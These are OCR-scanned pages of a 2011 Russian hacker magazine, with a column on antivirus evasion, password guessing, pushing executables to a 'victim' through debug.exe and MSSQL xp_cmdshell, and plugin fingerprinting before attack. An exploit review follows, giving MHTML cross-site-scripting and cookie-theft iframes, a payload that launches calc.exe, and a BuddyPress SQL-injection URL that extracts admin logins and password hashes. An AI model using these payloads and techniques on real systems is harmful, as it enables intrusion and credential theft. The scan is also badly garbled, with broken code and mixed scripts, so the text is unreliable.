• virtest . сот .

антивирь. П риход и тся обходить все. Но поставить даже десять основ ­ ных экзем п ляров н а в и ртуал ки

-

дело н акладное и муторное . Потому

мы вос п ользуемся онлаЙ н -се рви сами. Кстати, здесь под «малварью» давай понимать~то-то более обшир­

ное. Пусть это будут как всякие вири, так и хакерские тулзы. Ведьдаже с безобидным п еtса t 'ом были проблемы из-за детектов. Итак, в ходе п оисков нашлась следующая группа онлайн-сервисов:

• vi ru stota l . com; • vi r uschief.com; • fil te r bi t . со т ;

From: "LUCAS BROWN" Su!>ject : Fr om th e Desk of : Мг. l ucas Br ol1n Date: Fr i, 18 Fe!> 2011 21 : 55 : 10 +е100 MI ME- Ver sion : 1 .0 Content-Type: text / plain; сhа г sеt · " Wiпdоws-125 1"

Content-Tr ansf er - Encoding: 7!>it X- Pr ior ity: З X- ИSМаil- Р г iо гitу: Nor mal Х- I-1а ilе г : Micr osoft Outlook Expr ess б.0е . 2бее . ееее x - м imеОl Е : Pr oduced Ву Micr osoft MimeOlE Vб . ее.2бее . ееее Все:

X-Spam:

SРАИ

Х- И г аs :

SPAl1

Письмо из папки «Спам)). Мэйлер -

Письмо из папки «Спам)). Антивирус -

MS Outlook Express

Avast

SUbject: ааа 1 E- Ver sion: 1 .0 Content-Type: text / plainj cha rset= indows - 1251 Content-T ransf er - Encoding: ·q uoted-printable X- Anti vi rus: avast ! (VPS 11e2 1 8- 1 ~ 19.02.2011 ) } Outbound message X- Anti vi r us-Status: Clean X-Spa m: Not detected Х- · ras: Ok ХАК ЕР

04/ 1471 201 1

~

039


ЗАДАЧА: ПЕРЕБОР ПАРОЛЕЙ по­

распространенных паролей с привязкой к ресурсам можно почерп­

УМНОМУ

нуть тут:

• skullsecurity.org/wiki/index.php/Passwords; РЕШЕНИЕ:

• devteev.blogspot.com/2818/81/weak-passwords.html.

я уже не раз описывал тему перебора аутентификационных данных в том или ином контексте, не пропущу и сегодня . Такая информация

в заключение

важна, так как это распространенная уязвимость, актуальная для

среднем по больнице»:

- мотаем на ус самые распространенные пароли «в

самых разных систем, которые в итоге очень просто эксплуатиро­

вать. В подтверждение этому - доклад Дмитрия Евтеева IPositive

·123456 (+\- 2

Technologiesl- ptsecurity.ru/download/PT -Metrics-Passwords-2009.

• Qwerty; • аЬс123;

Qill. В нем представлена большая

и хорошая статистика по россий­

ским компаниям. Документ не очень новый, но все равно актуаль­ ный. По нему становится ясно, как перебирать пароли и куда идти с

ними дальше

J

в качестве бонуса - разнообразные словари самых

ЗАДАЧА : ЗАКАЧКА БИНАРНЫХ

символа);

• password; • название_сервиса; • имя_пользователя.

Сети их целый пучокl .

ФАЙЛОВ ЖЕРТВЕ (BIN2HEX)

Fast Т rack - это еще одно ответ вление/фронт-энд к Metasploit'y, За ним уже не особо следят, потому ест ь проблемы в работе, хотя он все равно включен в

BackTrack R2. Ну да лад н о, кделу.

РЕШЕНИЕ: Достаточно ра спространенная ситуация , когда ломаешьwiп-системы

1.

Запускаем

Iхотя и под пiх'ами бываетl и понимаешь, что шелл есть, а сделать с

2.

Выбираем

ним ничего нельзя. Это связано в основном с о гр аниченностью кон­

3.

Прописываем путь к ехе-файлу J который необходимо

со л ьного ПО винды, а также с наличием всяких фаЙерволов. В общем,

ко нвертировать .

Fast Track.

"Binary to

Не х

Payload Converter".

задача классическая:закача т ьфайлик«через консоль».

Для этого можно воспользоваться старым добрым методом

- через

в итоге мы получим последовательность

echo, которую и п отребуется

debug,exe, Oebug - это стандартн ая программа-отладчик в Windows,

ввести в ко н соль жертве. Понятно, что ввод ит ь вруч н ую

которую используют для проверки и отладки выполняемых файлов.

Но автоматизация, как понимае ш ь, зависит от ситуации. Пример

Метод чем-то похож на описанный выше стеганографический. Для

профессиональный и применим к пр одукту от Citrix

начала мы ко н верт ируем наш ехе-файл в hex Iшестнадцатиричный

нием протокола ROPI. в общем, все было бы просто и эле гант н о, н о

форматl, Но не просто в хекс, а в специально отформа т ированный

есть большой минус: ограничение на размер создаваемого файла,

хеке Подав его на «вход»

а именно

debug'y,

мы на выходе получим полноцен­

- 64

-

безум н о.

Ic использова­

Кб. Это очень мало. Мы можем зал ит ьтотже пеtсаt

ный ехе'шник,

Iнапример, его старую версию весом 60 Кбl или какой-н и будь легкий

Чтобы соблюст и это специальное форматирование, воспользуемся

шелл-код из

сторонним продуктом - FastTrack'oM или каким-нибудьдругим 'в

менее , это о г раничение мож н о обойт и , Как? Сначала н ебольш ое

Metasploit'a,

но mеtегргеtегуже великоват Тем не

ехе-конвертер в debug-виде

~

040

ХАКЕР

04 / 147 /2 011


отступление. Вышеописанный метод очень часто используется для загрузки файлов на се рвер через захваченный

MSSQL -сервер,

Для Back Т rack'a 4 путь к файлу-конвертеру лежит в /орt/mеtаsрlоitЗ/

msfЗ/dаtа/ехрlоits/mssql . Файл Ih2b] уже на ход ится в hе х -виде для

используя процедуру хр_сm d shеlllданная процедура позволяет

debug'a. Таким образом, н ам остаетс я залить его , используя тот или

выполнять кома н ды ОС из СУБД]. Потому и с по соб обход а отчасти

иной способ , в файл Iнапример, сопvегtег.tmр]:

«привязан» К

MSSQL. Е го первое описа ни е было с де л а н о н а DefCo n

16 в 2008 году компанией Securestate Idefcon.org/images/defcon-16/

Создаем ехе-шник:

dc16-р геsепtаtlOпs/dеfсоп-16-рапеl-Ыасk vs white .pdf]. Описанную в

debug < converter. tmp

документе тулзу было непросто найти, так как на нее уже давно забили

Переименовываем с правильным расширением:

Ihttps://medla.defcon .org/dc-16/tools/sa explolter.rar]. Суть способа

move converter. bin converter . ехе

тоже в п олн е проста некий аналог

мы снача ла закачиваем ехе'шник-конвертер,

-

debug .exe, только

со снятыми о гран иче ниями на ра зме р

Дал ее мы м ожем закачи вать любые дру гие exe-фаЙлы. Здесь также

файла. А потом пользуемся им для создания больших файлов потому

потребуется автоматизация , При этом «з акач ка» проис х одит просто

же алгоритму, что и с

В hе х-ви д е. По следний шаг- конве ртировать hе х -файл в ехе. Он

debug·oM.

К сожалению, мне не удалось найти в сети конкретного о писания,

создастся стем же име н ем, что и файл на в ходе :

как работает данный конвертер Iпохоже, на гу гл е меня заба нили ]. Н о все не так уж плохо . В

Metasploit'e есть

загрузку больших файлов через

модуль, который реализует

converter.exe evil_file_hex.txt

MSSQL, как р аз используя ко н верте р

'метод с DefCon 'a]. Описание и исх одный код в простейшем для пор­

Напоследок расскажу об очередном минусе данного метода

тирования виде 'В новых версиях MSF о н усложни л ся] можно взять

последних в е р сиях

на оffеПSlvе-sеСUГltу. соm/mеtаsрlОlt-uпlеаshеdПhе Guts Behind It .

во пр ос 'в Wiп7 файла точно н ет].

ЗАДАЧА : ОПРЕДЕЛЕНИЕ ВЕРСИЙ ПЛАГИНОВ БРАУЗЕРА, ИСПОЛЬЗУЯ

JAVASCRIPT. РЕШЕНИЕ: Браузеры уже давно являются одной из ос н овных цел ей , одним из главных мест для проникновения и захва та систем. Оно и понятно. Интернет

- это наше все, а браузер - основное средство для взаи­

модействия. Ввиду разнообразия применяемых в Сети технологий одного браузера не хватает, и к нему ставятся плагины , Класс и ческий набор:

flash, pdf reader, java. И каждый из плагин ов до­

бавляет новый вектор атаки. Поня т но, что в разных версиях браузе­

ров/плагинов свои собственные уязвимости, и эксплуатация их часто различна, а п отому необходимоточно определить версию ПО перед атакой.

Пр едп оложим, мы подсунули нашей жертве ссы л ку на н а ш с аЙт. П рактически

100%, что при заходе на него в httр < за го л овкебуд ет

передана точн ая версия браузера в поле

«User-Agent». Но и нф ор­

мацию о пла г инах мы можем получить , только используя

JavaScript .

А

- в

Windows OTcyтcTByeTdebug .exe. В каких именно ­

few examples о! detectlon WItb РlпgInDеtect

Here we have SmnI eXamPIeS ofbrowser рlugin

deIКtiOO.

You shoul4look at 1he

QukkTlaae Decec:doD InStaIIOd & eaablod: faISe Version: пuП QuickТiшe version is < б or not installodlenabled Browser сап рlay QuickТiшe VR (using QuiclcТШJe pIugin): faISe Browser сап PIaY QuiclcТI!De VIdeo (using QUiCkТime or 3ю рапу pIugin): faISe DevaIVR Decec:doD Installed & enablod: faISe Version: nUD DeVaIVR. not installed or not enabled FlasЬ Detecdon Installed & enabIed: true Version: 10,1,102,0 f1ash 8,0,34,0 or bigher is installed anCI enabIOd Shockwave Detecdon Installed & enablod: faISe Version:пuП

_ _ _ _ _ _ _ _ _ _ _- - . I

sIюckwa.\'е..notins.l3IIed..or.noLenaыed ~

Минимум плагинов

-

залог здоровья?

Можно было бы показать нескольколайтовых примеров о том, как получить версию плагина, но, во-первых , и х легко найти в сети, а во ­

П одп и хиваем его н а наш сайт:

вторых, о н и н е особо юзабе л ьны, так как взаимодействие с плагина ­ ми в 1 Е происходит посредством соответствующих ActiveX-эле ментов,

<script type= "text/javasc ript" src=" plugindetect. j s" >

а вдругих браузерах

</s cript>

- напрямую с плагинами.

Таким образом , код под различные браузеры - разный . В-т ретьих, кроме того, что плагин установлен, он д олжен быть включен lепаЫеd ] . В-четвертых

И пол у чаем версию

Adobe Reader, например :

- за ч ем изобретать велоси пед ? Есть не сколько «детек­

торов», многие из которых входят в стандартн ые веб-фрэЙмворки.

var reader _version = PluginDetect. getVersion( "AdobeReader");

Мне по нраву Р l пlаdу.nеt/РlugiпDе t есt , который написал Эрик Герд с. Детектор определяет версию Java, Qu ickTime, Flash, Shockwave,

Точность определения зависит от некоторых усло вий , но чаще всего

Silverlight, а также версии ра зличных РDF-ридеров и е ще нескольких

мы получаем ч етырехцифер н ую вер с ию плагина . Подробности

пла г и н ов. То есть, ос н овные темы, ч ерез которые ломают. К тому же

методов о пр еделен ия и ограничений ищи на вышеуказанном саЙте.

можно дописать детект других п л а гин ов по аналогии. Н а сай те есть

Также в д етекте есть еще не сколько полезных функций, которые

подробное описание работы и возможность настроить детектор п'од

можно использовать и для бла ги х цел ей.

себя. В итоге мы получаем с сайта jа vаsс гiрt-файл рlug iпd еtесt.js.

ЗАДАЧА: СДЕЛАТЬ ЖУРНАЛ

][ ЛУЧШЕ!

РЕШЕНИЕ: Все просто - group.xakep.ru , Вступай в фокус-группу и излагай свои мысли и пожелания по материалам журнала, Могу тебя увери ть, что многие авторы читают отзывы читателей, реагируют на них , Так что это реально действенный способ изменить что-то к лучшему.

ХАКЕР

0 4/ 147 1 20 11

~

041


EXPLOIТS

EXPLOIТS

• • Маг II cq 884888 , sn ippe r.rul

REVI

REVIEW . _I...._ EXPLOIТS

"'---1 REVIEW

EXPLOIТS

REVIEW

ОБЗОР ЗКСПЛОИТО

Приветствую тебя, читателы Вот мы и снова встретились на стра­ ницах ][. Сегодняшний обзор эксплойтов порадует тебя целым ворохом свежайших уязвимостей в самых разнообразных про­ граммных продуктах. Запасайся терпением и внимательно следи за описанием всех представленных багов, чтобы самому не повторять смешных ошибок наших дражайших девелоперов.

01

-

МЕЖСАЙТОВЫЙ СКРИПТИНГ В MICROSOFТ

намеренным файлом . Это дела ется с п омо щью нехитрой ви ндавай

WINDOWS MHTML

команды: сор у / Ь 1.jpg + 1.mhtml 2.jpg . 2. СRLF/ХSS-инъекция в МНТМL-фаЙле . Все MHTML п остроены с помощью CRLF [перев ода стр окиl. Таким об ра зо м, если мы сможем внедрить символы CRLF [а зна чит. и пр о­

Н етакдавно китайские хакеры снова обнаружили эпохальны й

зирод ей, ск р ываю щ ийся в мно гострада л ьной ви нд е . На этот раз п од

извольные скриптыl, то нужный нам са йт с легко стью может быть

разда ч у попал обработчикфайлов MHTML [MIME Епсарsulаtiоп

а такован.

01

Agg regate HTMLI в IE. Уязвимость существует из-за ошибки в способе

В качестве примера авторы предлагают длинный i lгаmе - коА, посмо­

об р абот ки хэ ндле р ом п ротокола

треть который ты сможешь в оригинальном ad v isoгy.

MHTM L М I М Е -форматированных

запросов для бл оков данных в н утри

AOKYMet;Ta. Злоумышленник легко

В цел ом же данный п одвид МНТМL-иньекций направлен на формат

может внед рить в архив ст раницы вредоносный скрипт, который и

JSON, так как некоторые сайты для предотвращения XSS пр оверяют

будет за п уще н п ри п о п ытке п росмот ра файла . И то г

заголовок Сопtепt- Ту ре в таки х файлах.

- сбор пользова ­

тельской информации, подмена веб -страницы ита к далее .

З . Об ход заголовка

X-FRAME-OPTIONS.

ДЛЯ начала давай выясним, что же это за хит рый за го л овок. Итак, веб-разработчики могут по сы лать вместе с html -стра ницами Рассмотрим о р игинальные способы эксплуатации данного бага от

с пециальный геsропsе-заголовок, на зыва емы й Х-Fгаmе-О р t i опs,

кома нд ы

кото рый ограничивает набор способов для отрисовки стра ниц ы.

80vul.com .

1. XSS с помощью загрузки mhtml-фаЙла.

Если Х- Fгаmе -О рtiоп s содержит маркер

Если используется об р аботчик протокола MHTML, расширение и

вать визуализации страницы, содержа ще йся в предел ах фрейма .

DEN Y, IE будет препятство­

Сопtе п t- Туре фай л а п олностью и г нори р уются. Таким образом, злоу­

Если он содержит маркер SAMEOR IGIN. IE будет блокировать ви зуа­

мы ш ленник сможет переименовать mhtml-скриптсо злонамеренным

лизацию только в том с л у чае . если точка отсчета коор д и н ат для

XSS-KOAOM в о что-нибудь безобидное вроде *'jpg. П осле этого нехи­

просматрива емо го содержимого страницы вер х него уровня будет

тр о го д ействия уже с п е ц иа л ь н о под готовл ен н ый фай л заливается на

отличаться от то ч ки отс чета контента, прописанной в директиве

н ужный нам сервер [например, с помощью формы загрузки фотогра ­

Х -Fгаmе-Орti о пs .

фийl и скармливается п ользователю посредством html-странички

В целом же введение данного за гол овка пр изва н о п омочь в деле

н а др у гом [ также с п е ц иально п одготовленномl сайте с примерно

п редотвращения С l iсkJасkiпg-атак.

следующим содержимым :

Китайцы предлагают следую щий способ обхода этого за голо вка с помощью протокола

<iframe src ="MHTML: http : //target - s i te . com/upfile / demo.html!cookie" >< /iframe > С п омо щ ью описанного алгоритма пользователь н уж ного с айта рас ­

кроет тебе свои кукисы и другую конфиденциальную информацию с

MHTML:

<ifr ame s r c="mhtml : http : / /www. S0vul .com/ mhtml/zz . php ! cookie " > </ iframe > <iframe src= .. http ://www . S0vul . com/ mhtml /zz . php" > </iframe >

это го сайта п ри п осе ще н ии твоего зло н амерен н ого доме н а . П ри ч ем сам это го не заметит

4. Локальная ХSS-инъекция с помощью MHTML + file://uпсраth +

Для обхода в озможных прове р ок, встроенных в форм у аплоада,

Adobe Reader 9.

ки тай ц ы п ре дл а гают скл ейку н орма льн ой картин ки с н а ш им зло-

В конце

~

042

201 О года не к ий хакер Билли «ВК» Рио с предл ожил крайне ХАК Е Р

04 11 47/201 1


]

EXPlOIТS

REVIEW

-

EXPlOIТS

~

REVIEW

EXPlOIТS

REVIE. . . .

U

e-~ ' l ~ o:\_.ttmI Фаl:"

no-;.

В'"

~Sl.pl'int8bI8S ~

ot

И:;бранное

I

~~~~tОлs

I 1* Content-Type: multipartfrelated; boundary="_boun

Сервн(

PE9CSk.VDVCВDТEFТU01EPUNЫU01EOjEyМzQINjc4LТEyМtQtNDMyМSOxМ

Cn~<J

Ivla · Н} ~ (i ~ - I'j · ~ · 62J J 1

-1

J~ o:\ntotni.ttmI

",

I ~'

RUNUPg== --_boundary_by_mere-- *1

Iii

Калькулятор Плюс

':" "в' 'х

0·1

~

boundary="_boundaty_by_mer." -. _boundaty_by_mere Content-

• 10,000"'" с....·Т"",",·

О Н..

~•

-11 Encodiцg:bas.64

@ Оес О Оа

О в"

PGJvZEk+DQo8aWZyYWIIIGlkPWhnciВ -

('т

-_._~

"

o

В

-Ьу-тие - -

-- boundaty

-

v

~1

..

..

0

ji

~ CEJ Обход заголовка

Запуск

X-Frame-Options

calc.exe с

помощью МНТМL

интересный способ кражи лока л ьных файлов IhttR:!I9oo.gl/kmBXB !.

плуа тации уязвимостей в

В этом способе использовался метод

о древнем баге, обнаруже нном хаке ром firebug9 IhttR:!/goo.gl/

«Scr ipt src to local files in

the LocalLow directory» вкупе с протоколом file://, с п ециальным

MHTML.

Н о сначала т ы д олжен вс п ом н ить

ERFoS !:

JS-сценарием и про гой Adobe Reader. Е сли же использовать нашу багу в

MHTML.

то этот метод чтения

<OBJECT

локальных файлов крайне у п рощается. Для тестов авторы предлага­

СLАSSID=СLSID : 12З45б78-12З4-4З21-12З4 - 11111111

1111 СОDЕВАSЕ=с :/w iппt /s уstеmЗ2 / саlс . е х е ></ ОВJЕСТ >

ют тебе сво ю готовую ут и литу. распо л оженную по а д ресу httR:!Igoo.

gl/RCY3P Iтестировалось на win2k3+ie8+Adobe Reader 91.

Этот баг позволяет тебе выполнять любую п рограмму в зо н е «Мой

5. Локальная ХSS-инъекция с помощью MHTML + file:///uпсраth + MS Word.

Для эксплуа тации этого чуда в ко н тексте

Демонстрация данного с пособа ра с пол ожена тут: 80vul.com/mhtml/

рить шаги. описанные в п редыдущем п у н кте, заме н ив

word.doc . Качаем документ. сохраняем его как c:\wo rd.doc. открыва ­

коды на следую щие:

компьютер» и работает на ie6/ie7/ie8 + win2k/win xp/wi n2k3.

MHTML ты

дол жен п овто­

xss-

и

mh tm l -

ем и видим содержимое фа й ла c:\boot. in i. Этот с пособ базируется на баге Мiсrоsоft

Word javascript ехесutiоп

<html >< OBJECT

classid=cl s id : ae24fdae-0ЗСб-11dl-8Ыб-

IhttR:IIgoo.gl/90KNw!. Как был приготовлен РоС, содержащийся в

0080с 7 44fЗ89 >< раrаm

файле

word.doc!cookie >< /OBJECT >

wo rd.doc. читай ниже .

а . Создаем обычный htm l - файл и вставляем в него следующий

XSS-

name=url value=mhtml : file: // c: /

ааааа

код: и

<html >< OBJECT

сlаssid=сls i d : ае24fdае-0ЗС 6- 11dl-8Ыб-

0080с744fЗ89 >< раrаm

name=url value=http: // www . 80vul.

/*

com / hackgame / word . htm ></OBJECT >

Content - Type : multipart / related ; boundary="_boundary_

ааааа

by_mere" :

Ь . Открываем этот файл в MS Word и сохра няем как c:\wo rd.xml.

- - _boundary_by_mere

с. Открываем c:\word.xm l с помо щ ью обычного блокнота и инжектим

Content-Location:cookie

mhtm l -коА в тег <w: t>aaaaa </w: t >:

Сопtепt-Тrапsfеr-Епсоdiпg : Ьаsеб4

/*

PE9CSkVDVCBDTEFTU01EPUNMU01EOjEyMzQ1Njc4LTEyMzQtNDMyMS

Content-Type : multipart / related ; boundary="_boundary_by_

0 хМjМ0LТЕ хМТЕ хМТЕ хМТЕ хМSВDТ0RFQkFТRТ1jОi9ЗаW5kЬЗdzLЗN5

mere" :

с ЗRIЫМуL2NhЬGМuZХhlРjwvТ0JКRUNUРg==

- - _boundary_by_mere--

.*/

--_boundary_by_mere Content-Location:cookie

Посл е старта п олуч енного файла дол жен за п уститься

Сопtепt-Тrапsfе r- Епсоdiпg:Ьаsеб4

Подробное РGJvZНk+DQо8с2NуаХВ0IНNуV z0паНR0 с DоvLЗdЗdу44МНZ1ЬС5jЫ

ca lc.exe.

advisory от авторов на англ и йском яз ы ке и щ и п о адресу

httR:IIgoO.g l/aZ9 Ау.

0vаGFjа2dhЬWUvZ28uапМпРjwvс2Nуа ХВ0Рg0КРС9iЫR5Рg0 К

iEm

--_boundary_by_mere --

. */

Microsoft Windows XP/2003Nista/2008!7 ~1·](I)Ц·]~ I

d. Переименовываем c:\word.xm l в c:\word.doc. е. О т крываем c:\word.doc и наслаждаемся результатом. Учти, что для использования атаки ты должен з н ать путь к

в качестве временного ре ш е н ия да н ной п робл емы мелкомя г кие

word-

файлу.

рекомендуют заблокирова ть mhtml-протокол. Э то мож н о осу щ ест вить одним из следую щи х с п особов:

6. Cross Zone Scripting

1. Скачать и запуст ит ь приложение «Fix it». досту п ное п о а д ресу

А те п ерь перей д ем к посл ед н ему и самому опасному способу экс-

sURRort. m icrosoft.com/kbI250 1696 .

ХАКЕР

04/ 147/2 01 1

~

043


GI 0 111) A(llIIirr s

test Pubiic Group

te<ot

Ноте

Mernbers (1)

~ RSS

[~]

INO Filter

W or(IPress (lat lll),lSe е н о г: [rh e used SELECT statem ents have а dilferenl llUmbe r of columns]

SELE CT c oun t( id) FRO!'I 1JP_bp_ acti v ity (8) , (9 ), (10) , (11 ) , (1 2) ,

5

Д,

~,'

1JНERE

id IN (-9) W1ion (se 1ect(1 ) , (2) , (3) , ( 4 ) , (5)

, соnса t(u sе ~_ 1 0 gin , О х3а , usе~у аз з),

(7 ) ,

(1 3 )frоm ( ~1Р _u з е~s)w11 е ~ е (id = 1 )) Н,

а dтiп ; $Р $ 8 сZD F 2ХегR gwl аqu q 4 уzк.J s о8 еС МRI

SQL-инъекция В

BuddyPress

2. И з менить соответствую щ ие з а п иси в с истем н ом реест ре Windows Iподробнее тут : sесuпtуlаь . гu/vulпегаы  ltу//04604. р hрl •.

02

-

BUDDYPRESS >=1.2 ACТIVIТY GEТ SPECIFICO SQL INJECТION EXPLOI.

+) ПO.ll)"4UМ nyn.

IC+а,АnIМ 11 1 c ep.~ pe ...

+j СО1.с UN rpУ IIП У ...

+) Групп_ус пешн о СО1.I Н &.

+] Про8tрАем Б1еJ>rN

mГРУППW 8l;\ .

.

-)6lc.J>riv н е П 03llОЛАеТ Чllтan. nOIWl~ M w e •

• Й.ll lol. ИсПОJl»)'С М

.cctonTMwe ~" 'Ч СНКII

прсtИ)сса БД м ССJ:pCПlWХXlllOч tli .•

BuddyPress - это п опулярнейший плаг и н для изве стного движка WordPre ss, п оз воляющий по ст роить гото в у ю соци а л ь н у ю с ет ь « и з кор о б к и » . О поп улярности данн о го с крипта можно судить х отя бы п о

+)ЛorJ( МП ОJl учс" : ~сЬ n1l1. n РО"0JII :ое ... ,.

тому, что

Goog le выдает 716 000 резул ьтатов по специфичному для BuddyPress з апро су «inurl:mem bers/admin/activity». Примерно п ол ­

тора года на з ад я наш ел пре з абавн е йш у ю SQL - ин ьек цию в данн о м

плагине, кото р у ю не закрыли и по сей день статьи

- BuddyP ress 1.271 . Ч тобы

IHa

п оня ть меха н изм воз н ик н овения

этой уяз в имо сти, давай проведем неболь ш ой ревер с инг p h p - коАа.

1.

Смотрим на файл шаблона гру пп ./w р -с опtепt/ рlugiпs/ Ьudd у ргеss/

Ь р- t he mes/ bр- defa u lt/ 9 го ups/s in9le/ hо m е . р h р:

<?php elseif ( bp_group_is_visible() && bp_is_active( 'activity' ) ) : ?> <?php locate_template( array ( 'groups / single/ activity.php' ), true ) ?> 2. Н ах одим у по м ян ут ый выше шаблон «activity» в ./w р-сопtепt/ plu9ins/ bud dyp ress/b р -t he m es/b р- defa u lt/ 9 го ups/ 5 ing le/ а с! ivity. р h р: <div class="activity single-group" > <?php locate_template( array ( 'activity/activity-loop . php ' ), true ) ?> </div >< !-. activity -- > ~

044

Эксnлойт ДЛЯ ВuddyPress

момент напи с ания

3. Смотри м н а н а ф ай л «./wp-co nte nt/plugins/buddypress/bp-t hemes/ bp-default/activity/activity-loop.php» из верхнего кода : <(<? php if I bp_has_activitiesl bp_ajax_querystringl 'activi ty' 1 11 : ?> ;» 4. Наход им эту фу н кцию в файле ./wp -content/plugins/ bud dypress/ ь р - а ct ivity/b p-activi ty- te m plat eta 9s. Р h р: function bp_has_activities( $args = " ) { $r = wp_parse_args ( $args, $defaults ); extract( $r ); case 'favorites' : $favs = bp_activity_get_user_favorites( $user_id ); if ( empty ( $favs ) ) return false ; $include = implode( ',' , (array )$favs ); break ; $activities_template = new вр _Activity_Template ( $page, ХАКЕР

04/147/ 20 1 1


t},I'LUII:i

REVIEW

]

Е, crаsh2011011бl11548.txt

Registers: ЕДХ=f.Шf.ПI.

Е ВХ=12FБДВС~

EDI=eeBFFcee ЕВР=ВFFFСБF8 cs.ee17 Ds=ee1F ss=ee1F FPU stack :

EC X= 1Fe7382~

ЕDх=еееездее

ЕSР=ВFFFСбде

ЕIР=12FБДВС5 FLДGs =еее1е28б

Es=ee1F

Fs=eeee

ESI =eeeeeE8e

Gs=ee37

~ee5B8eeeeeeeeeeeeee ~e2cF8FeFB799F1ceeee ~e2cF8FeFB799F1ceeee

BFFF8eeeeeeeeeeeeeee

FFFFееСF9зееееееFFFF ееееееееееееееееееее

ееееееееееееееееееее

FFFFeeeeeeeeeeeeeeee sw=ee2e cw=e37F

Stack dump: ВFFFСбде f.Шf.Ш. e15FE1Ae ВFF FСбве e15FE1C8 eeeeeE7F ВFFFСбсе еееееЕ8е e15FE1Ae

Падение Оперы в дебаггере

$per_page, $та х , $include, $sort, $filter, $search_terms, $display_comments, $show_hidden );

ВFFFСБС 8

1 355С538

ВFF F СБ F 8

12F3BF91

ВFFFСБF8

12Е8С97 5

ВFFFСБDе

ееееееее

1В~~1БЕе

ВFFFСБF В

1 35 5С5ес

ВFFFСБЕе

e15FE1c8

eeeeeE7F

eeeeeE7F

12F3BF91 12F3C29D

8FFFСБFе

еееееЕ8е

1В~~1БЕе >i3FFFС7б8

BFFFc7ee BFFFC71e BFFFC72e

eeBFFcee

1Fe7382~

ееееееее

ееееееее

eeBFFcee

ВFFFС7зе

1В441б~е

f.ШШf..

ееееееее

еееееее1

еееееее1

1Вб~912е

ееВ5вдее

1Fe73 82~

1Fe7382~

ееееееее

еееездее

···· t·_»II· I1I8.U » ._ • •• "II·ii1ё~ д ..• t·_ "II·!i1U ... Ё • ••• ~D "II·ii1 . 'U » ._ ••••• •ё~ д

. .. ~Dh«· ii!U~O

. , ii1 .$8···· • •• •

.......... ... . • , ii1. M .f~ . $8 @D$8 • • ••• : •• L..: ii1 • • • • : е •••••• ' с' ii1 . ~nL ..: ii1'"

BFFFC7~e

BFFFC9~C

ееееееее

ееее8Е3д

ееееееее

BFFFC75e

BFFFC7D~

1ВБЕВ2ее

BFFFC9~C

12FeAce8

ВFFFС7бе

eeBFFcee

~~ш~~r;1.

., ii1 . \O· ii1oc· ji1Ё"O

1В~~1бве

eeBFFcee

>i3FFFC798 e15F9Eee

12F~F8E8

BFFFc77e BFFFC78e BFFFC7ge BFFFC7Ae

ееВ8деее

BFFFCE~e

еееееее5

ееееее58

ееееее1Е

ееееееее

ееееееее

>i3FFFC7C8

12F23D58

BFFFCDE1

eeBFFcee

1В~~1бве

12F~C831

"D. , ii1 •• U_ . tп. @~ ' ii1 •• •х • • ••• • •• • ••• • •»«· ii1X=U \О. ii1 •. ii1. MD1. 0

. /

Лог падения Оперы 5. В том же файле Jwp-content/plugin s/bud dypress/ bp-activity/ bp-activity-templatetags.php на ходим функцию bp_activity_templateI J:

global $wpdb,

$Ьр;

i f ( is_array( $activity_ids )

function bp_activity_template( $page, $per_page, $та х, $include, $sort, $filter , $search_terms, $display_comments, $show_hidden )

$activity_ ids = implode( ' , ' , $activity_ids ); $activity_ids = $wpdb- >esc ape( $activity_ids );

{

$activi ties = $wpdb- >getJesu1ts ( $wpdb- >prepare ( "SELECT * FROM {$Ьр- >activity- >table_name} WHERE id IN ({$activity_ids}) ORDER ВУ dateJecorded {$sort} $pag_sql"

/* Get ап array of the logged in user's favorite activities */ $this- >my_favs = maybe_unserialize( get_usermeta( $bp- >loggedin_user- >id, 'bp_favorite_activities' ) ); i f ( ! empty ( $include ) ) { /* Fetch specific activity items based оп ID' s */ $this- >activities = bp_activity_get_specific( array ( 'activity_ids' => explode( ',' , $inc lude ), 'та х' => $та х , ' page' => $this- >pag_page, 'per _page' => $this- >pag_num, 'sort' => $sort, ' display_comments' => $display_comments ) );

»;

Как видишь. хоть кавычки в переменной $activityj ds и обра мл я­ ются обратными слэшами с помощью функции escapelJ . нам это нисколько не мешаетl В уязвимом sql - запросе наша переменная

изначально не обрамлена кавычками id IN 1{$ac ti vi tyjdsJl - та ким образом. мы легко сможем вы п олнить атаку кл асса

sq l-i njection.

!ШШi Схема эксплуатации о п исан н ой уязвимости достаточно тривиаль н а:

1.

Регистрируемся в со ц иальной сети.

2. Создаем группу.

}

З . Пр оводим s ql -иньекцию.

6. Далее следуем в файл Jwp- conte nt/plugin s/buddypress/bp-act ivity. php и находим функцию bp_activity_get_speci ficll :

httр: // lаmеr / wрЗ8 / grоuрs / tеst / асtivitу / - 9)uпiоп(sе lе сt(1),(2),(З),(4),(5),сопсаt(usеr_lоgiп,8хЗа,usеr_ раss),(7),(8),(9),(18),(11),(12) ,( l З)frоm(wр_usеrs)

){

where(id=l) $r = wp_parse_args( $args, $defau1ts ); extract ( $r, EXTR_SK IP ); return apply_filters( 'bp_activity_get_specific' , BP_Activity_Activity :: get_specific( $activity_ids , $тах, $page , $per_page, $sort, $display_comments ) );

Также существуют и д ру г ие векторы ис п ользования этой баги

httр :// lаmеr/wрЗ8 / асtivitу / fаvоritе / -9)оr(1=(sеlесt(1)

from(wp_users)where(user_login=char(97,188 , 189,185,1 18» )

} 7. И. наконец. наша главная цель - функц и я geCspecificl J в файл е wp -conte nt/ plu 9 i ns/bu d dyp ress/b p-act ivity/b р-а ct ivi ty- с [а sses. ph р:

function get_specific( $activity_ids, $тах = false, $page = 1, $per_page = 25 , $sort = 'DESC' , $display_comments = false ) ХАКЕР

0 4 / 147/ 20 11

-

н апример , Ыiпd-вариант без созда н ия гру п пы:

J

Удобный готовый эксплойт ты сможе ш ь найти п о адресу http:Ugoo.

g1iQQjillr.

вm BuddyPress >= 1.2 и <= 1.2.7

~

045


EXPLOIТS

EXPLOIТS

REVIEW._

REVIEW

L---...

EXPLOIТS

-

---1 REVIEW

.. 10

Веб I lamer/eI07-0. 7.24/sеаrсh . РНР!{а=еvаl(рhр;пfо(»)}

Usemame: Р.ооword:

'--___--,=====<1 show password

~ ~ Remember те

( Signup) [ Forgot p.ssword? ]

Resend A:tivation

&na~

Ser_API

~ho2.o-..

IIIrtu.. DireclOfY Suppon ConIigurllion Fil. (phpjni) Path

C:\WlN DOWS

L _ CorIiguration Fil.

Z:~.inI

РНРАРI

20041225

РНР

200е0е13

Ext.nsion

~ID

Zend Extension Dtbug

no

Вuild

1hr.3d S.ety

Z.ndllomory""_ 1М

SUPPOIt

Registered

РНР

